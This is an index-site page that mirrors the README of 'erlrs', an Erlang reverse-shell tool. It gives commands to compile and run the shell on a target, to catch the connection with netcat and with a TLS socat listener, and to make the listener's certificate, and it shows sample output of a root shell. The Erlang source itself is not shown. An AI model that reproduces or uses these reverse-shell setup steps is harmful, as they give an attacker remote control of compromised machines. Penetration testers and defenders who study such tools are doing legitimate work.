Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/potato-industries/erlrs
erlang based secure reverse shell
https://github.com/potato-industries/erlrs
erlang reverse-shell
Last synced: 15 days ago
JSON representation
erlang based secure reverse shell
- Host: GitHub
- URL: https://github.com/potato-industries/erlrs
- Owner: Potato-Industries
- Created: 2019-11-23T00:07:55.000Z (about 5 years ago)
- Default Branch: master
- Last Pushed: 2019-11-23T02:44:28.000Z (about 5 years ago)
- Last Synced: 2024-11-11T04:21:27.725Z (2 months ago)
- Topics: erlang, reverse-shell
- Language: Erlang
- Homepage:
- Size: 6.84 KB
- Stars: 2
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# erlrs
erlang based secure reverse shell
**Usage**
erlrs.erl *(plaintext)*
Target
```
root@WOPR-KALI:/opt/erlrs# erlc erlrs.erl
erlrs.erl:13: Warning: variable 'Reason' is unused
erlrs.erl:24: Warning: variable 'Reason' is unused
root@WOPR-KALI:/opt/erlrs# erl -noshell -s erlrs main```
Listener
```
root@WOPR-KALI:~# nc -lvnp 8080
listening on [any] 8080 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44983
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
^C
```erlrss.erl *(tls)*
Target
```
root@WOPR-KALI:/opt/erlrss# erlc erlrss.erl
erlrss.erl:13: Warning: variable 'Reason' is unused
erlrss.erl:24: Warning: variable 'Reason' is unused
root@WOPR-KALI:/opt/erlrss# erl -noshell -s erlrss main```
Listener
```
root@WOPR-KALI:/opt/erlrss# socat openssl-listen:443,reuseaddr,fork,cert=/opt/erlrs/root.pem,cafile=/opt/erlrs/root.crt,verify=0 -
id
uid=0(root) gid=0(root) groups=0(root)
```Create root.pem:
```
openssl req \
-x509 \
-newkey rsa:4096 \
-sha256 \
-days 3560 \
-nodes \
-keyout root.key \
-out root.crt \
-subj '/CN=target.com' \
-extensions san \
-config <( \
echo '[req]'; \
echo 'distinguished_name=req'; \
echo '[san]'; \
echo 'subjectAltName=DNS:target.com')
```![Screenshot from 2019-11-23 00-17-47](https://user-images.githubusercontent.com/56988989/69469085-e3644700-0d86-11ea-899d-07bd4f801bb9.png)